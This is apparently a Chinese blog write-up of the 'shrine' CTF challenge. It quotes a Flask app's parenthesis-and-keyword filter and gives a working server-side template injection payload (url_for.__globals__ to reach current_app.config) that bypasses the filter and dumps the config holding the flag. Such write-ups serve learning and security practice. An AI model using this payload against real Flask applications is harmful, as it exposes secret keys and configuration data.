shrine

打开链接,查看源码

在这里插入图片描述
代码审计

发现flask,考虑模板注入,@app.route后跟着路径,过滤

构造/shrine/{{1+1}},回显为2,判断是ssti

app.config['FLAG'] = os.environ.pop('FLAG')

注册了一个config,flag应该就在这里面,存在过滤

def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

过滤了()括号,将config,self两个函数加入黑名单,并遍历为空

构造

/shrine/{{url_for.__globals__['current_app'].config}}

 

 



posted @ 2021-09-13 14:46  凇岳  阅读(97)  评论(0)    收藏  举报